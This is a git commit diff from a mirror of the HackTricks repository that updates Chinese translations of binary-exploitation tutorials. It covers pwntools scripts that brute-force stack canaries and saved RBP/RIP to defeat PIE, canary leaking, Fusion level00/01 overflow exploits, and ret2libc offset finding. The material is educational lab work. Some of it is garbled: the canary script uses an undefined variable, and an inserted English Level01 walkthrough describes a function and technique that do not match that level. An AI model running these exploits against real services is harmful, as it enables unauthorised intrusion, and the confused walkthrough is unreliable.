mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti
This commit is contained in:
parent
76b0613247
commit
9c9c0f7743
45 changed files with 3140 additions and 6744 deletions
File diff suppressed because it is too large
Load diff
|
@ -1,36 +1,36 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>零基础学习 AWS 黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**如果您面对的是一个受到 canary 和 PIE (位置独立可执行文件) 保护的二进制文件,您可能需要找到绕过它们的方法。**
|
**如果您面对一个由canary和PIE(位置无关可执行文件)保护的二进制文件,您可能需要找到一种绕过它们的方法。**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (144).png>)
|
![](<../../.gitbook/assets/image (144).png>)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
请注意,如果二进制文件是静态编译的,并且无法识别该函数,**`checksec`** 可能无法发现二进制文件受到 canary 的保护。\
|
请注意,**`checksec`**可能无法发现一个二进制文件受到canary保护,如果它是静态编译的,并且无法识别该函数。\
|
||||||
然而,如果您发现在函数调用开始时有一个值被保存在栈中,并且在退出前检查了这个值,您可以手动注意到这一点。
|
但是,您可以手动注意到这一点,如果您发现在函数调用开始时将一个值保存在堆栈中,并且在退出之前检查了这个值。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
# 暴力破解 Canary
|
# 强制破解Canary
|
||||||
|
|
||||||
绕过简单 canary 的最佳方法是,如果二进制文件是一个**每次您建立新连接时都会 fork 子进程的程序**(网络服务),因为每次您连接到它时**都会使用相同的 canary**。
|
绕过简单canary的最佳方法是,如果二进制文件是一个程序,**每次您与其建立新连接时都会fork子进程**(网络服务),因为每次连接到它时**将使用相同的canary**。
|
||||||
|
|
||||||
那么,绕过 canary 的最佳方法就是**逐个字符地暴力破解**,您可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的 canary (x64)** 并且仅通过**检查**服务器是否发回了**响应**来区分正确猜测的字节和错误的字节(在**其他情况**下的另一种方法可能是使用 **try/except**):
|
因此,绕过canary的最佳方法就是**逐个字符地强制破解它**,您可以通过检查程序是否崩溃或继续其正常流程来判断猜测的canary字节是否正确。在这个示例中,函数**强制破解一个8字节的canary(x64)**,并区分了正确猜测的字节和错误字节,只需**检查**服务器是否发送了**响应**(在**其他情况**下,另一种方法可能是使用**try/except**):
|
||||||
|
|
||||||
## 示例 1
|
## 示例1
|
||||||
|
|
||||||
此示例为 64 位实现,但也可以轻松实现为 32 位。
|
此示例是为64位实现的,但也可以轻松为32位实现。
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -69,10 +69,10 @@ print("Brute-Forcing canary")
|
||||||
base_canary = get_bf(base) #Get yunk data + canary
|
base_canary = get_bf(base) #Get yunk data + canary
|
||||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||||
```
|
```
|
||||||
## 示例 2
|
## 例子2
|
||||||
|
|
||||||
这是为32位实现的,但可以轻松更改为64位。\
|
这是为32位系统实现的,但很容易改为64位。\
|
||||||
另请注意,在这个例子中,**程序首先期望一个字节来指示输入的大小**以及有效载荷。
|
还要注意,对于这个例子,**程序预期首先有一个字节来指示输入和有效载荷的大小**。
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -115,20 +115,20 @@ log.info(f"The canary is: {canary}")
|
||||||
```
|
```
|
||||||
# 打印 Canary
|
# 打印 Canary
|
||||||
|
|
||||||
另一种绕过 canary 的方法是**打印它**。\
|
绕过 canary 的另一种方法是**打印它**。\
|
||||||
想象一种情况,一个**程序存在**栈溢出漏洞,可以执行一个**指向**栈溢出**部分**的 **puts** 函数。攻击者知道 canary 的**第一个字节是空字节**(`\x00`),其余的 canary 是**随机**字节。然后,攻击者可能创建一个溢出,**只覆盖 canary 的第一个字节**。\
|
想象一种情况,一个**易受攻击**的程序可以执行一个指向**栈溢出部分**的 **puts** 函数。攻击者知道 canary 的**第一个字节是空字节** (`\x00`),其余的 canary 是**随机**字节。然后,攻击者可以创建一个溢出,**覆盖栈直到 canary 的第一个字节**。\
|
||||||
接着,攻击者**调用 puts 功能**在载荷的中间部分,这将**打印出所有的 canary**(除了第一个空字节)。\
|
然后,攻击者在有效负载的中间**调用 puts 功能**,这将**打印出所有的 canary**(除了第一个空字节)。\
|
||||||
有了这个信息,攻击者可以**构造并发送一个新的攻击**,知道了 canary(在同一个程序会话中)
|
有了这些信息,攻击者可以**构造并发送一个新的攻击**,知道了 canary(在**同一个程序会话**中)。
|
||||||
|
|
||||||
显然,这种策略非常**受限**,因为攻击者需要能够**打印**他的**载荷内容**来**泄露** canary,然后能够创建一个新的载荷(在**同一个程序会话中**)并**发送**真正的**缓冲区溢出**。\
|
显然,这种策略非常**受限**,因为攻击者需要能够**打印**他的**有效负载**的**内容**,以**窃取** canary,然后能够创建一个新的有效负载(在**同一个程序会话**中)并**发送****真正的缓冲区溢出**。\
|
||||||
CTF 示例: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
CTF 示例:[https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||||
|
|
||||||
# PIE
|
# PIE
|
||||||
|
|
||||||
为了绕过 PIE,你需要**泄露某个地址**。如果二进制文件没有泄露任何地址,最好的方法是**暴力破解栈中保存的 RBP 和 RIP**。\
|
为了绕过 PIE,您需要**泄漏一些地址**。如果二进制文件没有泄漏任何地址,最好的方法是**暴力破解保存在栈中的 RBP 和 RIP**。\
|
||||||
例如,如果一个二进制文件同时使用了**canary**和**PIE**保护,你可以开始暴力破解 canary,然后接下来的 8 字节(x64)将是保存的**RBP**,再接下来的 8 字节将是保存的**RIP**。
|
例如,如果一个二进制文件同时使用**canary**和**PIE**进行保护,您可以开始暴力破解 canary,然后**接下来**的 8 个字节(x64)将是保存的**RBP**,再接下来的 8 个字节将是保存的**RIP**。
|
||||||
|
|
||||||
要从二进制文件中暴力破解 RBP 和 RIP,你可以发现,如果程序输出了某些内容或者它没有崩溃,那么一个猜测正确的有效字节就是正确的。用于暴力破解 canary 的**相同函数**也可以用来暴力破解 RBP 和 RIP:
|
要从二进制文件中暴力破解 RBP 和 RIP,您可以发现,如果程序输出了一些内容或者没有崩溃,那么猜测的字节是正确的。与用于暴力破解 canary 的相同功能可用于暴力破解 RBP 和 RIP:
|
||||||
```python
|
```python
|
||||||
print("Brute-Forcing RBP")
|
print("Brute-Forcing RBP")
|
||||||
base_canary_rbp = get_bf(base_canary)
|
base_canary_rbp = get_bf(base_canary)
|
||||||
|
@ -139,31 +139,31 @@ RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||||
```
|
```
|
||||||
## 获取基地址
|
## 获取基地址
|
||||||
|
|
||||||
要击败 PIE,您需要从泄露的地址计算**有用的地址**:**RBP** 和 **RIP**。
|
要打败PIE的最后一步是计算从泄漏的地址中获得的有用地址:**RBP**和**RIP**。
|
||||||
|
|
||||||
从 **RBP**,您可以计算**在栈中写入 shell 的位置**。这对于知道您将在栈中的哪个位置写入字符串 _"/bin/sh\x00"_ 非常有用。要计算泄露的 RBP 与您的 shellcode 之间的距离,您可以在泄露 RBP 后设置一个**断点**,检查**您的 shellcode 位于何处**,然后,您可以计算 shellcode 与 RBP 之间的距离:
|
通过**RBP**,你可以计算**在堆栈中写入shellcode的位置**。这对于知道你将在堆栈中写入字符串 _"/bin/sh\x00"_ 的位置非常有用。要计算泄漏的RBP和你的shellcode之间的距离,你只需在泄漏RBP后设置一个**断点**,然后检查**shellcode的位置**,然后你可以计算shellcode和RBP之间的距离:
|
||||||
```python
|
```python
|
||||||
INI_SHELLCODE = RBP - 1152
|
INI_SHELLCODE = RBP - 1152
|
||||||
```
|
```
|
||||||
从 **RIP** 可以计算出 **PIE 二进制文件的基地址**,这是创建 **有效 ROP 链** 所需的。\
|
从**RIP**中,您可以计算**PIE二进制文件的基地址**,这是您需要创建**有效的ROP链**所需的内容。\
|
||||||
要计算基地址,只需执行 `objdump -d vunbinary` 并检查反汇编的最新地址:
|
要计算基地址,只需执行`objdump -d vunbinary`并检查最新的反汇编地址:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (145).png>)
|
![](<../../.gitbook/assets/image (145).png>)
|
||||||
|
|
||||||
在该示例中,您可以看到只需要 **1个字节和半个字节** 就可以定位所有代码,因此,在这种情况下,基地址将是 **泄露的 RIP 但以 "000" 结尾**。例如,如果您泄露了 _0x562002970**ecf**_ ,那么基地址就是 _0x562002970**000**_
|
在这个示例中,您可以看到只需要**1字节半**就可以定位所有的代码,因此,在这种情况下,基地址将是**泄漏的RIP,但以"000"结尾**。例如,如果泄漏了_0x562002970**ecf**_,则基地址为_0x562002970**000**_
|
||||||
```python
|
```python
|
||||||
elf.address = RIP - (RIP & 0xfff)
|
elf.address = RIP - (RIP & 0xfff)
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直至成为高手!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您希望在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```python
|
```python
|
||||||
|
@ -151,14 +151,14 @@ P.interactive()
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**关注**我们。
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -17,7 +17,7 @@
|
||||||
|
|
||||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||||
|
|
||||||
1. 获取偏移量以修改EIP
|
1. 获取修改EIP的偏移量
|
||||||
2. 将shellcode地址放入EIP
|
2. 将shellcode地址放入EIP
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
@ -45,6 +45,24 @@ r.send(buf)
|
||||||
r.interactive()
|
r.interactive()
|
||||||
```
|
```
|
||||||
# Level01
|
# Level01
|
||||||
|
|
||||||
|
## Fusion
|
||||||
|
|
||||||
|
### Basic ESP
|
||||||
|
|
||||||
|
#### Introduction
|
||||||
|
|
||||||
|
In this level, we will be exploiting a basic ESP overwrite vulnerability in the `fusion` binary. The goal is to redirect code execution to the `getpath` function in order to get a shell.
|
||||||
|
|
||||||
|
#### Walkthrough
|
||||||
|
|
||||||
|
1. **Find the Offset**: We will use GDB to find the offset needed to overwrite the return address. Run `gdb fusion` and disassemble the `main` function. Set a breakpoint at the `get` function call and run the binary with a pattern as input. Retrieve the offset using `pattern offset`.
|
||||||
|
|
||||||
|
2. **Craft the Payload**: We will craft a payload that overwrites the return address with the address of the `getpath` function. Use Python to generate the payload and save it to a file.
|
||||||
|
|
||||||
|
3. **Exploit**: Send the payload to the binary using a method of your choice (e.g., input redirection, piping, etc.) and get a shell by redirecting code execution to the `getpath` function.
|
||||||
|
|
||||||
|
By following these steps, you should be able to successfully exploit the basic ESP overwrite vulnerability in the `fusion` binary and gain a shell.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -72,14 +90,14 @@ r.interactive()
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,89 +1,47 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**如果你找到了一个有漏洞的二进制文件,并且认为可以使用Ret2Lib来利用它,这里有一些基本步骤供你参考。**
|
**如果您找到了一个有漏洞的二进制文件,并且认为可以利用Ret2Lib进行利用,这里有一些基本步骤供您参考。**
|
||||||
|
|
||||||
# 如果你在**主机内部**
|
# 如果您在**主机内**
|
||||||
|
|
||||||
## 你可以找到**libc的地址**
|
## 您可以找到**libc库的地址**
|
||||||
```bash
|
```bash
|
||||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||||
```
|
```
|
||||||
如果你想检查ASLR是否改变了libc的地址,可以执行以下操作:
|
如果您想检查ASLR是否更改了libc的地址,可以执行以下操作:
|
||||||
```bash
|
```bash
|
||||||
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
|
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
|
||||||
```
|
```
|
||||||
## 获取system函数的偏移量
|
## 获取system函数的偏移量
|
||||||
|
|
||||||
To exploit a binary using a ret2libc attack, we need to find the offset of the `system` function in the target binary. This offset will help us calculate the address of the `system` function in memory.
|
|
||||||
|
|
||||||
为了利用ret2libc攻击来利用一个二进制文件,我们需要找到目标二进制文件中`system`函数的偏移量。这个偏移量将帮助我们计算内存中`system`函数的地址。
|
|
||||||
|
|
||||||
To find the offset, we can use a tool like `objdump` or `readelf` to analyze the target binary. We need to search for the symbol table entry of the `system` function and note down its offset.
|
|
||||||
|
|
||||||
为了找到偏移量,我们可以使用`objdump`或`readelf`等工具来分析目标二进制文件。我们需要搜索`system`函数的符号表项,并记录下它的偏移量。
|
|
||||||
|
|
||||||
For example, using `objdump`, we can run the following command:
|
|
||||||
|
|
||||||
例如,使用`objdump`,我们可以运行以下命令:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
objdump -T <binary> | grep system
|
|
||||||
```
|
|
||||||
|
|
||||||
This command will display the symbol table entries containing the word "system". We need to look for the entry that corresponds to the `system` function and note down its offset.
|
|
||||||
|
|
||||||
这个命令将显示包含单词"system"的符号表项。我们需要找到对应于`system`函数的条目,并记录下它的偏移量。
|
|
||||||
|
|
||||||
Once we have the offset, we can calculate the address of the `system` function by adding the offset to the base address of the loaded binary in memory.
|
|
||||||
|
|
||||||
一旦我们有了偏移量,我们可以通过将偏移量加上内存中加载的二进制文件的基地址来计算`system`函数的地址。
|
|
||||||
|
|
||||||
Note: The offset may vary depending on the version of the target binary and the system it is running on. So, it is important to find the offset specific to the target binary and system.
|
|
||||||
|
|
||||||
